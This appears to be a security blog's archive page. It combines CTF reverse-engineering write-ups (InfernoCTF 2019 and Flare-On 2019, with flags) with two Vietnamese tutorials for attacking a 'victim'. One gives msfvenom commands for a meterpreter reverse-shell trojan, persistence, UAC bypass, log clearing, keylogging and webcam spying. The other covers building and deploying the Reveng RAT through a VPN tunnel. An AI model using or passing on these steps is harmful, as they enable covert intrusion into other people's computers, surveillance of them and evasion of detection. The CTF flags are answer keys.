Saturday 28 December 2019

InfernoCTF 2019

Darkcrackme
1. Main function

  • Being not waste of time, i saw pseudocode.

  • Simple, we can see that username is "1_4m_th3_wh1t3r0s3". And "sub_4013F9" will do something with our username and password to check.
  • Password is our flag.
2. Sub_4013F9


  • According to the last function, i will rename the variable, 'a1' => 'username' and 'a2' => 'pass'; 'v5' => 'Ulen' and 'v4' => 'Plen'.
  • We can see thar function have 3 condition.
    • First, length of  'username' and 'pass' are less or equal 40.
    • Second, ' Plen = (Ulen << 1) || (Ulen << 1) + 1' (it's mean: Plen = 36 or 37, because we already have Ulen).
    • Last, ' Ulen + Plen = (Ulen + 8) ^ 0x2C ' => ' 18 + x = (18 + 8) ^ 0x2C = 54 ' => Plen = 36
  • Depend on strcmp(s1, username), we know that 'sub_401291' (check_1) will changed our password to username.

3. Sub_401291 (Check_1)

  • I had rename some variable depend in thier function.
  • For each pair of char, we go through 'sub_4011A7' ('check_2') and receive 'pos_1', 'pos_2'

Sub_4011A7 (check_2)

  • The function of  'check_2' is return a position of  char ( 'pass[i]', 'pass[i + 1]' ) (pass_element) in 'Default_String'.
  • Next, darkcrackme use 'sub_401201' (make_arr) to do something with 'pos_1', 'pos_2' and return 'arr_1', 'arr_2'.

Sub_401201 (make_arr)

  • It's a simple math.

  • And the last one on 'sub_401291', darkcrackme made an array 'nptr', collected from 'arr_1' and 'arr_2' and convert to long number 'v1'.

  • Finally, ANS will be collected all 'v1' and became 's1' (aka '1_4m_th3_wh1t3r0s3')

4. In short

5. Solution
  • For the solution, i just convert all character into binary, rebuild 'arr_1', 'arr_2' and 'find_pos' 'pos_1', 'pos_2' and make a 'pass'.

5. Flag is: infernoCTF{CvBsCxOwBsCfOiZvBsZsOiCvCfZvZkCnZhZv}


Where did he GO?

It's a simple reverse code, you just swap whole the string.

Flag is: infernoCTF{g0_Pr0gRaMM1ng_1s_Gr3At!!}

Sunday 15 September 2019

Flare-On 2019


Challenge 1
Defend against 2 cat by find weapon

Open with dnSpy

Round 1


Answer: RAINBOW

Round 2
This function will check if your input is correct


So, we will take into function “isValidWeaponCode”


As u can see, this function change our input to array and made each element xor with ‘A’.
And if array is equal with < char[] {‘\u0003’, ‘ ’, ‘&’, ‘$’, ‘-’, ‘\u001e’, ‘\u0002’, ‘ ’, ‘/’, ‘/’, ‘.’, ‘/’} > , than we are correct.
So, our mission is reverse the answer: < char[] >

Answer: Bagel_Cannon

Final, flag: Kitteh_save_galixy@flare-on.com


Wednesday 28 August 2019

Tạo trojan bằng msfvenom

1. Tạo trojan

  • msfvenom -a x86 --platform window -f exe -p windows/meterpreter/reverse_tcp lhost=[ip] lport=[port] -o [name].exe

    • -a : nền tảng
    • --platform : hđh
    • -f : định dạng
    • -p : loại payload
    • lhost : host attacker  (tùy trạng thái mà dùng private hay public IP)
    • lport : cổng nhận
    • -o : tên

2. MSF
  • service postgresql start
  • msfconsole : chạy metasploit
  • use exploit/multi/handler
  • set payload [payload]
  • set lhost [IP]
  • set lport [port]
  • exploit

3. Cài Auto Start
  • run persistence -A -U -X -S -i 60 -r [IP] -p [port]
  • -A : tự động kết nối exploit/multi/handler
  • -L : vị trí lưu payload, mặc định là %TEMP%
  • -P : định dạng payload, mặc định windows/meterpreter/reverse_tcp
  • -S : boot like service
  • -U : chạy khi user khởi động
  • -X : chạy khi system khởi động
  • -i : giây giữa những lần thử kết nối
  • -r : IP (attacker)
  • -p : port (attacker)

4. Leo thang đặc quyền (admin)
  • run post/windows/gather/win_privs  :  xem đặc quyền
  • tại "msf >"
  • use exploit/windows/local/bypassuac_injection
  • set session [session]
  • set targets [0 = 32bit]
  • run
Note: Yêu cầu đảm bảo chính xác tương thích về payload, session, x86 hay x64 (cả trojan + victim)

5. Options thông thường
  • exit : thoát hẳn khỏi session
  • background : trở về "msf >" nhưng không thoát session
  • cd, pwd, ls : truy cập, xem đường dẫn, list trên máy victim
  • lcd, lpwd : trên attacker
  • show_mount : thông tin ổ đĩa
  • clearev : xóa log
  • download '[link]'  hoặc   download C:\\Users\\Admin
  • upload
  • edit : xem và sửa ngay trên command
  • execute -f [].exe -H(hide)
  • ps : hiện task
  • shell : chạy cmd.exe
  • keyscan_start : bắt đầu keylogger
  • keyscan_dump : hiện keylog
  • keyscan_stop : dừng
  • screenshot
  • webcam_list
  • webcam_snap : chụp ảnh từ webcam
  • webcam_stream : soi webcam
  • migrate [pid] : cấy vào file exe khác
  • run vnc -i cmd.exe  :  tạo exe và upload cho victim để xem desktop victim, -i : cấy vnc vào exe khác, tránh phát hiện.

6. Dùng portmap.io để điều khiển qua WAN

Tuesday 27 August 2019

Sử dụng Reveng RAT v0.3.

1. SET UP
  • Tạo VPN để nhận dữ liệu từ victim và gửi về attacker.
    • portmap.io  =>  Tạo VPN







    • Tải OpenVPN để nhận dữ liệu
      • Import .ovpn vừa tải ở trên
      • Connect 


2. TẠO RAT

  • Run as admin

  • Client Builder  =>  Network (host và port của vpn để gửi dữ liệu)  =>  Basic  =>  Install  =>  Startup  =>  Icon  =>  Module  =>  Compile

  • Đây là RAT chạy trên victim

3. TRACKING
  • Cũng Run tương tự như trên nhưng chỉ cần chờ ở Clients.

Flare-on 8

               List: 01 - credchecker 02 - known 03 - antioch 04 - myaquaticlife   01 - credchecker 01_credchecker.7z Đây là một bài ...